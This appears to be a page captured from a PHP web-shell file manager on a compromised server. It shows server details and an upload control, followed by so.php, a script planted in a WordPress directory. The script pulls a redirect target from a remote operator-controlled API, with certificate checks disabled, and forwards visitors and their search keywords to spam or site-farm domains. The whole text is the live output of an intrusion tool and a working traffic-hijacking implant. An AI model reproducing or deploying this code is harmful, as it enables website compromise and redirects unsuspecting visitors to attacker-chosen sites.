HEX
Server: nginx/1.26.2
System: Linux iZj6c1rjreod87i7wwwwgoZ 5.10.134-17.3.al8.x86_64 #1 SMP Thu Oct 31 14:29:57 CST 2024 x86_64
User: www (1000)
PHP: 8.0.26
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/wordpress/so.php
<?php
$q = $_REQUEST['keyword']??'';
$channel = '50站群';
$domain = get_conf_by_channel($channel);
if(empty($domain)){
    $domain = 'https://rili6.cilishanb.top';
}
if (!preg_match('/^https?:\/\//i', $domain)){
    $domain = 'https://' . $domain;
}
if ($q == 'keyword') {
    redirect($domain);
    exit;
}
redirect(sprintf($domain.'?page=0&keyword=%s', $q));
function redirect($url) {
  header("Location: $url");
}
function get_conf_by_channel($channel){
    $url = "https://datatrack.cilizhai.cn/api_fasd/channel/get_site_domain_channels?channel=$channel";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_ACCEPT_ENCODING => "gzip, deflate, br",
    ]);
    $ret = curl_exec($ch);
    curl_close($ch);
    $domain = '';
    if (is_null($j = json_decode($ret, true)) || !array_key_exists('code', $j) || $j['code'] != 'SUCCESS') {
    }else {
        foreach ($j['data'] as $item){
            if($item['channel']==$channel){
                $domain = $item['domain'];
                break;
            }
        }
    }
    return $domain;
}